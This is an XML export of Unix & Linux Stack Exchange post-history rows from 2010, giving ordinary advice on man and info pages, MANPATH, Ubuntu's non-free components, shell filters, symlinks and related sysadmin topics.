  <row Id="3772" PostHistoryTypeId="2" PostId="1846" RevisionGUID="30daa928-3ace-4ecc-aeb7-7f85762c7b0a" CreationDate="2010-09-10T12:47:00.993" UserId="1383" Text="Pay attention to the section number: Suppose you want help on `printf`. there are at least two of them: in shell and in C. The bash version of printf is in section 1, the C version is in section 3 or 3C. If you don't know which one you want, type `man -a printf`, and all manual pages will be displayed.&#xD;&#xA;&#xD;&#xA;If what you are looking for is the format of printf with all % codes and it doesn't appear on printf man page, you can jump to related man pages listed under SEE ALSO paragraph. You may find something like `formats(5)`, which suggests you to type `man 5 formats`.&#xD;&#xA;&#xD;&#xA;If you are annoyed that `man printf` gives you printf(1) and all you want is printf(3), you have to change the order of scanned directories in the `MANPATH` environment variable and put the ones for C language before the ones for shell commands. This may happen also when Fortran of TCL/Tk man pages are listed before C ones.&#xD;&#xA;&#xD;&#xA;If you don't know where to start, type `man intro`, or `man -s &lt;section&gt; intro`. This gives you a summary of commands of requested section.&#xD;&#xA;&#xD;&#xA;Sections are well defined:&#xD;&#xA;&#xD;&#xA;- 1 is for shell commands,&#xD;&#xA;- 2 is for system calls,&#xD;&#xA;- 3 is for programming interfaces (sometimes 3C for C, 3F for Fortran...)&#xD;&#xA;- 5 is for file formats and other rules such as printf or regex formats.&#xD;&#xA;&#xD;&#xA;Last but not least: information delivered in man pages is not redundant, so read carefully from beginning to end for increasing your chances to find what you need.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3773" PostHistoryTypeId="16" PostId="1846" RevisionGUID="30daa928-3ace-4ecc-aeb7-7f85762c7b0a" CreationDate="2010-09-10T12:47:00.993" UserId="-1" />
  <row Id="3774" PostHistoryTypeId="2" PostId="1847" RevisionGUID="c9c6d81e-1abe-4831-955a-58800987c8a5" CreationDate="2010-09-10T13:23:16.413" UserId="916" Text="The [`apropos`][apropos_manpage] utility is seriously handy for finding the appropriate manpage.&#xD;&#xA;&#xD;&#xA;[apropos_manpage]: http://unixhelp.ed.ac.uk/CGI/man-cgi?apropos" />
  <row Id="3775" PostHistoryTypeId="16" PostId="1847" RevisionGUID="c9c6d81e-1abe-4831-955a-58800987c8a5" CreationDate="2010-09-10T13:23:16.413" UserId="-1" />
  <row Id="3776" PostHistoryTypeId="2" PostId="1848" RevisionGUID="febb3482-59dd-4b03-837d-8d8151567026" CreationDate="2010-09-10T13:35:44.593" UserId="1612" Text="Always check out what's in the SEE ALSO section.  Frequently I find other useful commands or functions that way." />
  <row Id="3777" PostHistoryTypeId="16" PostId="1848" RevisionGUID="febb3482-59dd-4b03-837d-8d8151567026" CreationDate="2010-09-10T13:35:44.593" UserId="-1" />
  <row Id="3779" PostHistoryTypeId="2" PostId="1850" RevisionGUID="29309423-b370-45a4-b29a-b59d95982cfa" CreationDate="2010-09-10T14:37:14.443" UserId="1375" Text="Is there a way to use Emacs to sync with Google Calendar and Google Contacts, ideally keeping a local copy so I can access them offline?&#xD;&#xA;Thanks!" />
  <row Id="3780" PostHistoryTypeId="1" PostId="1850" RevisionGUID="29309423-b370-45a4-b29a-b59d95982cfa" CreationDate="2010-09-10T14:37:14.443" UserId="1375" Text="Emacs sync w/ Google Calendar and Contacts??" />
  <row Id="3781" PostHistoryTypeId="3" PostId="1850" RevisionGUID="29309423-b370-45a4-b29a-b59d95982cfa" CreationDate="2010-09-10T14:37:14.443" UserId="1375" Text="éemacsàéconfigurationà" />
  <row Id="3782" PostHistoryTypeId="2" PostId="1851" RevisionGUID="6a0491da-2e57-4ee8-a8e8-e844ca883c9f" CreationDate="2010-09-10T14:46:12.627" UserId="1614" Text="`alias`, `export`, and `eval` are all part of `man builtin`.&#xD;&#xA;&#xD;&#xA;On Mac OS X—and I assume on other BSD systems—the man pages for the builtin commands are all aliased to builtin, so if I type `man alias` it will pull up `man builtin`.&#xD;&#xA;&#xD;&#xA;While I prefer reading man pages from a terminal prompt, if missing from a system, I'll go to &lt;http://man.cx/&gt; as it's pretty comprehensive." />
  <row Id="3783" PostHistoryTypeId="5" PostId="1851" RevisionGUID="e94e3565-0b82-461e-9168-579cde801238" CreationDate="2010-09-10T14:51:22.677" UserId="1614" Comment="added 11 characters in body; added 167 characters in body" Text="`alias`, `export`, and `eval` are all part of `man builtin` on Mac OS X and, I assume, on other BSD systems.&#xD;&#xA;&#xD;&#xA;On OS X, the man pages for the builtin commands are all aliased to builtin, so if I type `man alias` it will pull up `man builtin`. The problem though is that `man builtin` doesn't really provide information on the individual commands. Therefore, to get info on alias, you have to use `help alias`.&#xD;&#xA;&#xD;&#xA;While I prefer reading man pages from a terminal prompt, if missing from a system, I'll go to &lt;http://man.cx/&gt; as it's pretty comprehensive." />
  <row Id="3784" PostHistoryTypeId="2" PostId="1852" RevisionGUID="69dbce56-68ba-4a4d-ac0f-a4d4fc52b9af" CreationDate="2010-09-10T15:31:36.387" UserId="1207" Text="Don't ignore the `info` pages.  Many GNU tools have far more extensive info pages than man pages.  Often, the **SEE ALSO** section will say &quot;The full documentation for foo is maintained as a Texinfo manual.&quot;  This is especially true for anything in the GNU coreutils package." />
  <row Id="3785" PostHistoryTypeId="16" PostId="1852" RevisionGUID="69dbce56-68ba-4a4d-ac0f-a4d4fc52b9af" CreationDate="2010-09-10T15:31:36.387" UserId="-1" />
  <row Id="3786" PostHistoryTypeId="2" PostId="1853" RevisionGUID="a5bb6377-22af-439f-a146-059f83720dad" CreationDate="2010-09-10T15:40:20.710" UserDisplayName="Rob Hoelz" Text="If you're more comfortable with your editor than you are with the default pager, you can set MANPAGER in your environment.  For example, I have this line in my ~/.bashrc:&#xD;&#xA;&#xD;&#xA;export MANPAGER=&quot;col -b | vim -c 'set ft=man nomod nolist ignorecase' -&quot;" />
  <row Id="3787" PostHistoryTypeId="16" PostId="1853" RevisionGUID="a5bb6377-22af-439f-a146-059f83720dad" CreationDate="2010-09-10T15:40:20.710" UserId="-1" />
  <row Id="3788" PostHistoryTypeId="5" PostId="1852" RevisionGUID="4ee2d9fb-6395-4ca6-826f-40737eb412e5" CreationDate="2010-09-10T15:43:58.893" UserId="1207" Comment="added 140 characters in body" Text="Don't ignore the `info` pages.  Many GNU tools have far more extensive info pages than man pages.  Often, the **SEE ALSO** section will say &quot;The full documentation for foo is maintained as a Texinfo manual.&quot;  This is especially true for anything in the GNU coreutils package.&#xD;&#xA;&#xD;&#xA;Also, if you are an emacs user, don't forget you can read info and manual pages without leaving your editor: `M-x info` and `M-x woman`." />
  <row Id="3789" PostHistoryTypeId="6" PostId="1841" RevisionGUID="025cf826-e129-464b-9ef2-a20bb2e3593c" CreationDate="2010-09-10T15:46:21.870" UserId="1207" Comment="edited tags" Text="émanàédocumentationàétipsöandötricksà" />
  <row Id="3790" PostHistoryTypeId="2" PostId="1854" RevisionGUID="dcb7ff57-23bb-406b-b8da-87b48f1a1e38" CreationDate="2010-09-10T17:14:56.180" UserId="4" Text="As @Steven D says, don't forget the `info` pages.&#xD;&#xA;&#xD;&#xA;In addition, don't be intimidated by the `info` pages. I know plenty of people who don't use the info pages because of the built-in navigation system. My favorite solution is to pipe the info pages through `less`:&#xD;&#xA;&#xD;&#xA;    info gpg |less&#xD;&#xA;&#xD;&#xA;This way, I can navigate the `info` pages using my favorite pager. Your `info` pages will now behave the same as `man` pages." />
  <row Id="3791" PostHistoryTypeId="16" PostId="1854" RevisionGUID="dcb7ff57-23bb-406b-b8da-87b48f1a1e38" CreationDate="2010-09-10T17:14:56.180" UserId="-1" />
  <row Id="3792" PostHistoryTypeId="2" PostId="1855" RevisionGUID="08d977cc-3fbc-4699-9790-ba1b8c42caae" CreationDate="2010-09-10T17:46:30.453" UserId="4" Text="Most of us set the PATH variable.&#xD;&#xA;&#xD;&#xA;But say you append your path to include your personal, work-specific and locally-installed utilities, like `export PATH=$PATH:~/bin:/workgroup/bin:/opt/local/bin:`. As a side effect, `man foo` won't show the manpages stored at ~/man , /workgroup/man or /opt/local/man .&#xD;&#xA;&#xD;&#xA;To resolve this, I use the `manpath` command to automatically set the man page search path. For example, my ~/.bashrc has the following. This works for me on a hundred different systems running everything from FreeBSD 4.x, Darwin and CentOS 5:&#xD;&#xA;&#xD;&#xA;    ### PATH &amp; MANPATH&#xD;&#xA;    # My personal utilities&#xD;&#xA;    export PATH=$PATH:$HOME/bin&#xD;&#xA;    &#xD;&#xA;    ### Set the manpath based on the PATH, after man(1) parses man.conf&#xD;&#xA;    # - No need to modify man.conf or manually modify MANPATH_MAP&#xD;&#xA;    # - Works on Linux, FreeBSD &amp; Darwin, unlike /etc/manpaths.d/&#xD;&#xA;    # See &quot;SEARCH PATH FOR MANUAL PAGES&quot; in man(1)&#xD;&#xA;    # Just set the man search path. Don't print output to screeen.&#xD;&#xA;    manpath &gt;/dev/null&#xD;&#xA;&#xD;&#xA;Some systems (Like Apple Leopard) set the MANPATH automatically, but that means that your system will use the MANPATH variable instead of using `manpath`. As a result, man pages for 'MacPorts' (/opt/local/man) are ignored. I want to control this myself, so I unset MANPATH:&#xD;&#xA;&#xD;&#xA;    unset MANPATH&#xD;&#xA;    manpath &gt;/dev/null&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3793" PostHistoryTypeId="16" PostId="1855" RevisionGUID="08d977cc-3fbc-4699-9790-ba1b8c42caae" CreationDate="2010-09-10T17:46:30.453" UserId="-1" />
  <row Id="3794" PostHistoryTypeId="2" PostId="1856" RevisionGUID="06f788d9-8f6d-4cd2-951b-85f224658787" CreationDate="2010-09-10T18:12:55.430" UserId="1375" Text="I heard that Ubuntu is not completely free (as in beer). What are the specific parts of Ubuntu that are not Free?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;P.S. This is just out of curiosity, not meant to spark a debate on Free Software, etc." />
  <row Id="3795" PostHistoryTypeId="1" PostId="1856" RevisionGUID="06f788d9-8f6d-4cd2-951b-85f224658787" CreationDate="2010-09-10T18:12:55.430" UserId="1375" Text="What makes Ubuntu not totally Free Software??" />
  <row Id="3796" PostHistoryTypeId="3" PostId="1856" RevisionGUID="06f788d9-8f6d-4cd2-951b-85f224658787" CreationDate="2010-09-10T18:12:55.430" UserId="1375" Text="éubuntuàéopensourceöprojectsà" />
  <row Id="3797" PostHistoryTypeId="2" PostId="1857" RevisionGUID="c35397ff-5209-4726-87d2-07d30e2cd500" CreationDate="2010-09-10T18:46:44.413" UserId="1290" Text="For one thing, it uses closed source hardware drivers, which aren't regarded &quot;free&quot; the GNU way. That's one of the reasons, why some drivers aren't supported on Fedora. There's different kinds of &quot;free&quot; in the Linux world. Closed source is what makes a Distro not GPLv2 compatible, which clearly requires addition of all the source codes." />
  <row Id="3798" PostHistoryTypeId="2" PostId="1858" RevisionGUID="2dc63528-e8a8-4768-afcb-02d66be1425c" CreationDate="2010-09-10T18:50:01.847" UserId="1290" Text="I advice [VirtualBox](http://virtualbox.org), it is by far the most reliable Windows virtualization I've experienced. There's one catch, though.&#xD;&#xA;&#xD;&#xA;VirtualBox uses the WINE Direct3D wrapper for 3D acceleration done with Direct3D. So it might actually be of no improvement on the hardware accelerated side..." />
  <row Id="3799" PostHistoryTypeId="2" PostId="1859" RevisionGUID="7e6d7ff1-ced3-4aeb-8565-cc470d85686a" CreationDate="2010-09-10T19:05:35.523" UserId="1207" Text="Assuming you mean &quot;Free as in Freedom&quot; rather than &quot;free as in beer&quot; (see [this essay][1] for one description of the difference between the two), a person claiming that Ubuntu is not free may be referring to one of the following issues:&#xD;&#xA;&#xD;&#xA; - [Binary blobs][2] in the Linux kernel (this is often firmware that is needed to let a free driver work).&#xD;&#xA; - Non-free hardware drivers.&#xD;&#xA; - Non-free software that is in the Ubuntu repositories, such as flash.&#xD;&#xA; - The inclusion of Ubuntu One, which is a free client for a non-free web server provided by Canonical.&#xD;&#xA;&#xD;&#xA;Sometimes, they may be referring to the inclusion of software that is poses legal problems in the US because of patents or other issues; however, such issues are usually orthogonal to the software being free.&#xD;&#xA;&#xD;&#xA;However, it is more than possible to had a completely free system using Ubuntu.  The `vrms` package in the Ubuntu repository is a good first step if you are concerned with non-free packages that are installed on your system.  If you want to go even further, you can consider using [Linux Libre][3] a version of the Linux kernel that has non-free binary blobs removed from it.  Note, however, that installing linux libre will break your support for any hardware that needs those non-free bits.  &#xD;&#xA;&#xD;&#xA;I personally find it &quot;free enough&quot; to ensure that I don't have any non-free packages installed and tend not to worry about binary blobs.  But each person tends to draw &quot;the freedom line&quot; in a different place.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/philosophy/free-sw.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Binary_blob&#xD;&#xA;  [3]: http://www.fsfla.org/svnwiki/selibre/linux-libre/" />
  <row Id="3800" PostHistoryTypeId="6" PostId="1856" RevisionGUID="ae9367dc-a753-4d0c-a262-dde512195347" CreationDate="2010-09-10T19:06:27.790" UserId="1207" Comment="edited tags" Text="éubuntuàéopensourceöprojectsàéfreeösoftwareà" />
  <row Id="3801" PostHistoryTypeId="5" PostId="1859" RevisionGUID="9de4264f-6344-4e8b-813a-b9be3cd8df73" CreationDate="2010-09-10T19:12:16.197" UserId="1207" Comment="typo" Text="Assuming you mean &quot;Free as in Freedom&quot; rather than &quot;free as in beer&quot; (see [this essay][1] for one description of the difference between the two), a person claiming that Ubuntu is not free may be referring to one of the following issues:&#xD;&#xA;&#xD;&#xA; - [Binary blobs][2] in the Linux kernel (this is often firmware that is needed to let a free driver work).&#xD;&#xA; - Non-free hardware drivers.&#xD;&#xA; - Non-free software that is in the Ubuntu repositories, such as flash.&#xD;&#xA; - The inclusion of Ubuntu One, which is a free client for a non-free web server provided by Canonical.&#xD;&#xA;&#xD;&#xA;Sometimes, they may be referring to the inclusion of software that is poses legal problems in the US because of patents or other issues; however, such issues are usually orthogonal to the software being free.&#xD;&#xA;&#xD;&#xA;However, it is more than possible to have a completely free system using Ubuntu.  The `vrms` package in the Ubuntu repository is a good first step if you are concerned with non-free packages that are installed on your system.  If you want to go even further, you can consider using [Linux Libre][3] a version of the Linux kernel that has non-free binary blobs removed from it.  Note, however, that installing linux libre will break your support for any hardware that needs those non-free bits.  &#xD;&#xA;&#xD;&#xA;I personally find it &quot;free enough&quot; to ensure that I don't have any non-free packages installed and tend not to worry about binary blobs.  But each person tends to draw &quot;the freedom line&quot; in a different place.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/philosophy/free-sw.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Binary_blob&#xD;&#xA;  [3]: http://www.fsfla.org/svnwiki/selibre/linux-libre/" />
  <row Id="3802" PostHistoryTypeId="2" PostId="1860" RevisionGUID="dd3471be-bd72-4935-84b8-ae2095a3bb73" CreationDate="2010-09-10T19:15:01.537" UserId="1290" Text="A filter command is almost any command line program on UNIX, really.&#xD;&#xA;&#xD;&#xA;Every program that can read from `STDIN`and output to `STDOUT` can be used as filter.&#xD;&#xA;&#xD;&#xA;There are exceptions, though. One such exception is `cpio`, which takes a list of files from `STDIN` to create an archive on output. &#xD;&#xA;&#xD;&#xA;There are some commands, that seem not to be able to read from `STDIN`, though you should check wether those commands use `-` as file parameter to read from `STDIN` or write to `STDOUT`, like `cat`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     $ cat f - g&#xD;&#xA;&gt;&#xD;&#xA;&gt; Output f’s contents, then standard input, then g’s contents.&#xD;&#xA;&#xD;&#xA;But even when your program does not use that, you can **still** usually force a program to act as a filter:&#xD;&#xA;&#xD;&#xA;For instance take `wget` and you want to make that program output to `STDOUT`:&#xD;&#xA;&#xD;&#xA;    $ wget -O /dev/stdout http://stackoverflow.com/ | less&#xD;&#xA;&#xD;&#xA;**i.e.:** You can use `/dev/stdin`, `/dev/stdout`, and `/dev/stderr`, as files to force a program to read, or output into the standard-IO descriptors.&#xD;&#xA;&#xD;&#xA;Another side note: The length of your pipe, can be as long as you wish, so you can pipe from one program to another, basically making it a long chain of filters:&#xD;&#xA;&#xD;&#xA;    $ cat file | xz | ccrypt &amp;&gt;/dev/null" />
  <row Id="3803" PostHistoryTypeId="2" PostId="1861" RevisionGUID="a34dbbf3-511a-45af-8a88-0123d04865bd" CreationDate="2010-09-10T19:21:47.573" UserId="1290" Text="Builtin commands can be easily found by checking the man page of your current shell:&#xD;&#xA;&#xD;&#xA;In the man page of bash, you'll find:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     alias [-p] [name[=value] ...]&#xD;&#xA;&gt;            Alias with no arguments or with the -p option prints the list of&#xD;&#xA;&gt;            aliases in the form alias name=value on standard output. When&#xD;&#xA;&gt;            arguments are supplied, an alias is defined for each name whose&#xD;&#xA;&gt;            value is given. A trailing space in  value causes the next word to&#xD;&#xA;&gt;            be checked for alias substitution when the alias is expanded. For&#xD;&#xA;&gt;            each name in the argument list for which no value is supplied, the&#xD;&#xA;&gt;            name and value of the alias is printed. Alias returns true  unless&#xD;&#xA;&gt;            a name is given for which no alias has been defined.&#xD;&#xA;&#xD;&#xA;When in doubt, run `which alias` when it reports builtin, or it can't be found in `$PATH`, there's a good chance it's a builtin, so check the appropriate man pages." />
  <row Id="3805" PostHistoryTypeId="2" PostId="1863" RevisionGUID="442cd0f2-9a3e-46f1-8aac-ab754979e959" CreationDate="2010-09-10T19:51:09.130" UserId="1619" Text="and it can be easily installed without the non-free bits by pressing F6 and selecting &quot;Free software only&quot; before installing." />
  <row Id="3806" PostHistoryTypeId="2" PostId="1864" RevisionGUID="b881b8d7-48c5-4ef0-a4de-a8938cb0fdbf" CreationDate="2010-09-10T21:00:55.167" UserId="1620" Text="If you have any trouble sounding condescending, find a UNIX user to show you how it's done.&#xD;&#xA;&#xD;&#xA; *— Scott Adams, Dilbert Cartoonist*" />
  <row Id="3807" PostHistoryTypeId="16" PostId="1864" RevisionGUID="b881b8d7-48c5-4ef0-a4de-a8938cb0fdbf" CreationDate="2010-09-10T21:00:55.167" UserId="-1" />
  <row Id="3808" PostHistoryTypeId="5" PostId="1856" RevisionGUID="53d979f2-2e47-4757-b6e2-a166a104a11b" CreationDate="2010-09-10T21:06:41.480" UserId="1375" Comment="added 3 characters in body" Text="I heard that Ubuntu is not completely free (as in Freedom). What are the specific parts of Ubuntu that are not Free?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;P.S. This is just out of curiosity, not meant to spark a debate on Free Software, etc." />
  <row Id="3809" PostHistoryTypeId="5" PostId="1859" RevisionGUID="7c26df8b-5246-4adc-acd0-e83b37871018" CreationDate="2010-09-10T21:13:30.087" UserId="1207" Comment="deleted 3 characters in body" Text="Assuming you mean &quot;Free as in Freedom&quot; rather than &quot;free as in beer&quot; (see [this essay][1] for one description of the difference between the two), a person claiming that Ubuntu is not free may be referring to one of the following issues:&#xD;&#xA;&#xD;&#xA; - [Binary blobs][2] in the Linux kernel (this is often firmware that is needed to let a free driver work).&#xD;&#xA; - Non-free hardware drivers.&#xD;&#xA; - Non-free software that is in the Ubuntu repositories, such as flash.&#xD;&#xA; - The inclusion of Ubuntu One, which is a free client for a non-free web server provided by Canonical.&#xD;&#xA;&#xD;&#xA;Sometimes, they may be referring to the inclusion of software that poses legal problems in the US because of patents or other issues; however, such issues are usually orthogonal to the software being free.&#xD;&#xA;&#xD;&#xA;However, it is more than possible to have a completely free system using Ubuntu.  The `vrms` package in the Ubuntu repository is a good first step if you are concerned with non-free packages that are installed on your system.  If you want to go even further, you can consider using [Linux Libre][3] a version of the Linux kernel that has non-free binary blobs removed from it.  Note, however, that installing linux libre will break your support for any hardware that needs those non-free bits.  &#xD;&#xA;&#xD;&#xA;I personally find it &quot;free enough&quot; to ensure that I don't have any non-free packages installed and tend not to worry about binary blobs.  But each person tends to draw &quot;the freedom line&quot; in a different place.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/philosophy/free-sw.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Binary_blob&#xD;&#xA;  [3]: http://www.fsfla.org/svnwiki/selibre/linux-libre/" />
  <row Id="3810" PostHistoryTypeId="2" PostId="1865" RevisionGUID="a60700b8-2902-4e9f-9255-578f1d1064f7" CreationDate="2010-09-10T21:28:48.210" UserId="1620" Text="Darwin has a relatively small set of supported file system types. Apart from specials like devfs and network types like webdav, the list is:&#xD;&#xA;&#xD;&#xA; - HFS/HFS+&#xD;&#xA; - UFS/FFS&#xD;&#xA; - ISO-9660/UDF/CDDA&#xD;&#xA; - NTFS&#xD;&#xA; - FAT&#xD;&#xA;&#xD;&#xA;Of this list, only [UFS][1] was designed for Unix, although HFS+ has been upgraded to support all necessary Unix functionality. As of Mac OS X 10.6, UFS cannot be used for the root partition, although this restriction probably doesn't apply to Darwin. By default, HFS+ is case-insensitive, although case sensitivity can be requested at creation time. Although Mac OS X will run on a case-sensitive partition, many high-profile Mac applications will not (eg Adobe CS).&#xD;&#xA;&#xD;&#xA;For a while, Apple was planning to supersede HFS with [ZFS][2], and even shipped ZFS with some versions of Mac OS X, but sadly this experiment eventually failed because of [unresolvable licensing issues][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Unix_File_System&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ZFS&#xD;&#xA;  [3]: http://arstechnica.com/apple/news/2009/10/apple-abandons-zfs-on-mac-os-x-project-over-licensing-issues.ars" />
  <row Id="3811" PostHistoryTypeId="2" PostId="1866" RevisionGUID="9eccd677-eba1-405a-978c-7e84dd181406" CreationDate="2010-09-10T21:31:41.327" UserId="1207" Text="Unfortunately, I am unable to give a complete answer.  All I have is advice about some possible paths to wander down.&#xD;&#xA;&#xD;&#xA;The easiest route would be if the [emacs-g-client][1] that Gilles mentioned in the SU version of this question works.  If that doesn't work, I would look into the following:&#xD;&#xA;&#xD;&#xA;- At the very least you should be able to get some calendar functionality by accessing your google calendar using ical.  The function `icalendar-import-file` can import an ical file to a emacs diary file ([icalendar-import-file][2] documentation).  Thus, in your .emacs file you could have a bit of emacs lisp to get the google calendar ical file and import it into your diary.  If you do end up using org-mode there are a number of ways to integrate org-mode with diary-mode.&#xD;&#xA;&#xD;&#xA;- I think that the ultimate goal would be to make use of the gdata api.  I don't think that there is an easy way to get access to Google contacts outside of this api.  There is a command line utility that supports a wide range of functionality using this api called [Google CL][2], which could theoretically be used inside some emacs lisp functions to provide full access to your contacts, calendar, and many other Google-hosted services.  This however, would likely be much more difficult than just a few lines thrown into your .emacs.&#xD;&#xA;&#xD;&#xA;[1]: http://emacspeak.googlecode.com/svn/trunk/lisp/g-client/&#xD;&#xA;[2]: http://www.gnu.org/software/emacs/manual/html_node/emacs/Importing-Diary.html&#xD;&#xA;[3]: http://code.google.com/p/googlecl/&#xD;&#xA;" />
  <row Id="3812" PostHistoryTypeId="2" PostId="1867" RevisionGUID="3be92dd8-536b-4a79-9cb1-88820b91280c" CreationDate="2010-09-10T21:46:01.147" UserId="1620" Text="You could write a shell script that calls a command-line mail tool and then uses notify-send, (g)xmessage or zenity to display the individual messages." />
  <row Id="3813" PostHistoryTypeId="6" PostId="1394" RevisionGUID="3680c238-cdfd-4e01-8f76-374bbfe35ff3" CreationDate="2010-09-10T21:49:23.700" UserId="1207" Comment="edited tags" Text="éunixàémailà" />
  <row Id="3814" PostHistoryTypeId="2" PostId="1868" RevisionGUID="f6883146-587a-4326-bc19-c51719dca591" CreationDate="2010-09-10T22:08:58.363" UserId="1620" Text="Back in the days of terminal-only systems, I created a program that simulated the login program but just kept saying, &quot;Login incorrect&quot;. I then set it running on a colleague's terminal while he was at lunch.&#xD;&#xA;&#xD;&#xA;When he came back, he got really confused and panicked wondering if his password had changed or something, and actually called me over to ask me to help him with the problem. I started to make all sorts of plausible-sounding but useless suggestions for things he might try, and was able to get away with sounding completely innocent for several minutes, until finally he smelled a rat when I ran out of reasonable suggestions and started saying some truly outlandish things! We then had a good laugh over it together." />
  <row Id="3815" PostHistoryTypeId="16" PostId="1868" RevisionGUID="f6883146-587a-4326-bc19-c51719dca591" CreationDate="2010-09-10T22:08:58.363" UserId="-1" />
  <row Id="3816" PostHistoryTypeId="2" PostId="1869" RevisionGUID="f752dd18-2b27-4492-838c-69b582c0239d" CreationDate="2010-09-10T22:25:57.867" UserId="1623" Text="I have a disk with some pending unreadable sectors, according to smartd. What would be the easiest way to make the disk remap them and stop smartd from complaining?&#xD;&#xA;&#xD;&#xA;Today, I get two of these every hour:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Sep 10 23:15:35 hylton smartd[3353]: Device: /dev/sdc, 1 Currently unreadable (pending) sectors&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The system is an x86 system running Ubuntu Linux 9.10 (jaunty). The disk is part of an LVM group. This is how smartctl identifies the disk:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Model Family:     Western Digital Caviar Second Generation Serial ATA family&#xD;&#xA;Device Model:     WDC WD5000AAKS-00TMA0&#xD;&#xA;Serial Number:    WD-WCAPW4207483&#xD;&#xA;Firmware Version: 12.01C01&#xD;&#xA;User Capacity:    500,107,862,016 bytes&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="3817" PostHistoryTypeId="1" PostId="1869" RevisionGUID="f752dd18-2b27-4492-838c-69b582c0239d" CreationDate="2010-09-10T22:25:57.867" UserId="1623" Text="How do I make my disk unmap pending unreadable sectors" />
  <row Id="3818" PostHistoryTypeId="3" PostId="1869" RevisionGUID="f752dd18-2b27-4492-838c-69b582c0239d" CreationDate="2010-09-10T22:25:57.867" UserId="1623" Text="élinuxàéubuntuàéhardwareà" />
  <row Id="3819" PostHistoryTypeId="2" PostId="1870" RevisionGUID="e6375d69-59ad-4497-a9f9-ad4bce153695" CreationDate="2010-09-10T22:30:19.793" UserId="1620" Text="You can use the readlink command to discover/check what a (now broken) link originally pointed to and then fix it up to point to whatever the file's new name/location is. Or you could do your file renaming only through a shell script that renames a file and searches for and fixes any links that point to it. Either way, you would so something like this:&#xD;&#xA;&#xD;&#xA;    find . -type l | while read L&#xD;&#xA;    do&#xD;&#xA;        if readlink $L | grep -q &quot;^$OLDNAME\$&quot;&#xD;&#xA;        then&#xD;&#xA;            ln -sf $NEWNAME $L&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;However, if you're doing this all the time then symlinks are probably not what you should be using.&#xD;&#xA;" />
  <row Id="3820" PostHistoryTypeId="2" PostId="1871" RevisionGUID="113e0081-1cf6-4f39-90f2-edd55ab0dece" CreationDate="2010-09-10T22:37:35.753" UserId="1620" Text="Much better to use [etckeeper][1] instead of your own home-grown solution. There are number of gotchas that etckeeper addresses nicely. It's a package in several Linux distros, and is also easy to build from source.&#xD;&#xA;&#xD;&#xA;A really nice feature on Debian-based systems is that it ties in with apt to automatically commit before and after installing or updating packages. This helps distinguish changes you made yourself from ones made by package updates. It also (optionally) does a daily autocommit.&#xD;&#xA;&#xD;&#xA;  [1]: http://joey.kitenet.net/code/etckeeper/" />
  <row Id="3821" PostHistoryTypeId="2" PostId="1872" RevisionGUID="f5ae4ca6-6843-40b9-81ee-f9b6eac3ad3e" CreationDate="2010-09-10T22:48:45.667" UserId="1620" Text="Although this isn't what you asked, it may be what you're looking for ...&#xD;&#xA;&#xD;&#xA;You can use `&quot;$0&quot;` as a way to locate sub-scripts that are located in the same directory as the main script.&#xD;&#xA;&#xD;&#xA;    MYPATH=&quot;$(realpath &quot;$0&quot;)&quot;&#xD;&#xA;    MYDIR=&quot;$(dirname &quot;$MYPATH&quot;)&quot;&#xD;&#xA;    &quot;$MYDIR/otherscript&quot; ...&#xD;&#xA;&#xD;&#xA;Since the main script is symlinked you need to dereference `$0` first, using `realpath`.  Although `dirname` returns `.` if its arg has no directory part, in this example `realpath` will already have turned the arg into an absolute path." />
  <row Id="3822" PostHistoryTypeId="2" PostId="1873" RevisionGUID="dfd84e75-09b9-4de4-9a8c-7341025e7423" CreationDate="2010-09-10T22:56:59.503" UserId="1620" Text="One trick (on Linux, at least) would be to change directory to `$HOME` before running the app and then use `/proc/self/cwd/...` in the config file." />
  <row Id="3823" PostHistoryTypeId="2" PostId="1874" RevisionGUID="a504c565-bd72-4ad2-9d17-da01ef291cac" CreationDate="2010-09-10T23:51:13.137" UserId="1620" Text="A web search for *mac prevent sleep* comes up with a lot of good information on utilities and tricks you can use.&#xD;&#xA;&#xD;&#xA;However, in your situation, I suspect that what you really want to do is to have a separate ssh session that runs a very simple command-line program that prevents the Mac from sleeping. Apple gives the complete source code in [Technical Q&amp;A 1160: Preventing sleep][1]. (Unfortunately, this page is broken on Apple's site at present, but you can pull up a copy from Google's cache.)&#xD;&#xA;&#xD;&#xA;I haven't tested to see if this program can be run successfully from an ssh session, but it looks like it could.&#xD;&#xA;&#xD;&#xA;Note that sshfs implementations typically don't stay logged into the remote system all the time, and just run a session when they want a file or directory. So you need a separate ssh session, running in a minimized terminal window, to run the insomnia program.&#xD;&#xA;&#xD;&#xA;The advantage of this approach is that you don't need to use sudo, or mess with the system power management settings.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/library/mac/qa/qa2004/qa1160.html" />
